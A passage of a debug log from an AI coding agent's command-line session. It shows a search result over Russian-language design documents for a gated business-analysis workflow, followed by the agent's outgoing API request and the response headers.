\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c debug \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043a\u0430\u043a \u0431\u0443\u0434\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0433\u043e\u0442\u043e\u0432\u0430. |\",\n[2026-09-29T07:56:08.650Z] [INFO]         \"is_error\": false\n[2026-09-29T07:56:08.650Z] [INFO]       }\n[2026-09-29T07:56:08.650Z] [INFO]     ]\n[2026-09-29T07:56:08.650Z] [INFO]   },\n[2026-09-29T07:56:08.650Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:08.650Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"uuid\": \"39daa6ae-c10b-4599-a9e5-8329d1153f5b\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:08.635Z\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:56:08.650Z] [INFO]     \"stdout\": \"67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n143:| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435. | \u0427\u0430\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0435\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435\u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439; \u044d\u0442\u043e \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438. |\\n---\\n---\\n53:\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n60:| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n62:| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n---\\n---\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n---\\n2:status: proposed\\n17:| RFC status | \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d \u043a review; \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n34:\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n78:   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 15 \u0443\u0437\u043b\u043e\u0432 \u043e\u0442 `A-IN` \u0434\u043e Release \u0438 human gates. [\u041c\u0430\u0440\u0448\u0440\u0443\u0442 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/routes/pilot.json)\\n116:| 13 | \u041e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d | \u0418; \u041b\u043e\u043a | \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 Cline `run` \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u043b\u0441\u044f exit 1 \u0441 `ERROR: run already exists`; \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0438 \u043d\u043e\u0432\u044b\u0439 ID, \u0430 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c gate. |\\n122:| 19 | \u041a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0431\u043e\u0435\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 | \u041c + \u0418; \u0414\u043e\u043a | README \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e real task \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 approved Working, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a Cline AGENTS \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u0438\u043b\u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u043e\u0439. \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u044f\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430; \u043d\u0443\u0436\u0435\u043d human gate \u043f\u043e real-task scope. |\\n134:| H1 | \u041e\u0434\u0438\u043d Source \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0431\u0449\u0435\u0433\u043e BCREQ Working \u2192 Release: \u043e\u0431\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430/\u043a\u043e\u0434 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b. | \u041f\u0430\u0440\u043d\u044b\u0439 approved Working \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u0440\u0435\u0432\u0438\u0437\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0438\u043b\u0438 gate \u0432 \u0434\u0432\u0443\u0445 \u0441\u0440\u0435\u0434\u0430\u0445. | **\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430**: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f `$id`; live-\u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u0430. |\\n137:| H4 | Debug \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442 business-run \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c trace \u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u043a\u0430\u043a \u0432 GigaCode. | Cline \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f hook/gate \u0438\u043b\u0438 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f `runs/`. | **\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 gap \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438**; \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0442\u043a\u0440\u044b\u0442. \u041d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c debug \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043a\u0430\u043a \u0431\u0443\u0434\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0433\u043e\u0442\u043e\u0432\u0430. |\",\n[2026-09-29T07:56:08.650Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:56:08.650Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:56:08.650Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:56:08.650Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:56:08.650Z] [INFO]   }\n[2026-09-29T07:56:08.650Z] [INFO] }\n[2026-09-29T07:56:08.681Z] [STDOUT] [log_67a778] sending request {\n[2026-09-29T07:56:08.688Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:56:08.690Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:08.693Z] [STDOUT]   options: {\n[2026-09-29T07:56:08.696Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:56:08.698Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:56:08.700Z] [STDOUT]     body: {\n[2026-09-29T07:56:08.702Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:56:08.706Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:56:08.708Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:56:08.711Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:56:08.720Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:56:08.725Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:56:08.730Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:56:08.750Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:56:08.753Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:56:08.757Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:56:08.759Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:56:08.761Z] [STDOUT]       stream: true,\n[2026-09-29T07:56:08.765Z] [STDOUT]     },\n[2026-09-29T07:56:08.769Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:56:08.772Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:56:08.775Z] [STDOUT]       aborted: false,\n[2026-09-29T07:56:08.777Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:56:08.778Z] [STDOUT]       onabort: null,\n[2026-09-29T07:56:08.780Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:56:08.783Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:56:08.786Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:56:08.790Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:56:08.792Z] [STDOUT]     },\n[2026-09-29T07:56:08.796Z] [STDOUT]     stream: true,\n[2026-09-29T07:56:08.799Z] [STDOUT]   },\n[2026-09-29T07:56:08.801Z] [STDOUT]   headers: {\n[2026-09-29T07:56:08.803Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:56:08.808Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:56:08.812Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:56:08.816Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:56:08.819Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:56:08.825Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:56:08.832Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:56:08.835Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:56:08.842Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:56:08.851Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1847\",\n[2026-09-29T07:56:08.855Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:56:08.858Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:56:08.862Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:08.866Z] [STDOUT]     \"x-client-request-id\": \"056dca99-003e-435b-aff3-ed0af4274d54\",\n[2026-09-29T07:56:08.870Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:56:08.876Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:56:08.883Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:56:08.887Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:56:08.891Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:56:08.894Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:56:08.899Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:56:08.902Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:56:08.906Z] [STDOUT]   },\n[2026-09-29T07:56:08.912Z] [STDOUT] }\n[2026-09-29T07:56:09.816Z] [STDOUT] [log_67a778, request-id: \"req_011CfXNaDxi6e8R5QuxSu55r\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1135ms\n[2026-09-29T07:56:09.822Z] [STDOUT] [log_67a778] response start {\n[2026-09-29T07:56:09.827Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:09.829Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:09.832Z] [STDOUT]   headers: {\n[2026-09-29T07:56:09.836Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:09.845Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:09.852Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:09.861Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:09.864Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:09.868Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.870Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:09.874Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:09.877Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:09.880Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:09.883Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:09.886Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:09.889Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:09.892Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.895Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:09.897Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:09.899Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:09.906Z] [STDOUT]     \"cf-ray\": \"a4296dfa4f595d90-FRA\",\n[2026-09-29T07:56:09.909Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:56:09.912Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:09.915Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:09.918Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:09.919Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:56:09 GMT\",\n[2026-09-29T07:56:09.921Z] [STDOUT]     \"request-id\": \"req_011CfXNaDxi6e8R5QuxSu55r\",\n[2026-09-29T07:56:09.923Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:56:09.925Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:09.927Z] [STDOUT]     traceresponse: \"00-543f67cdd9b3622f6045b6a9cc652629-7991bf717bc85941-01\",\n[2026-09-29T07:56:09.928Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:09.930Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:56:09.932Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:09.934Z] [STDOUT]   },\n[2026-09-29T07:56:09.936Z] [STDOUT]   durationMs: 1135,\n[2026-09-29T07:56:09.937Z] [STDOUT] }\n[2026-09-29T07:56:09.939Z] [STDOUT] response 200 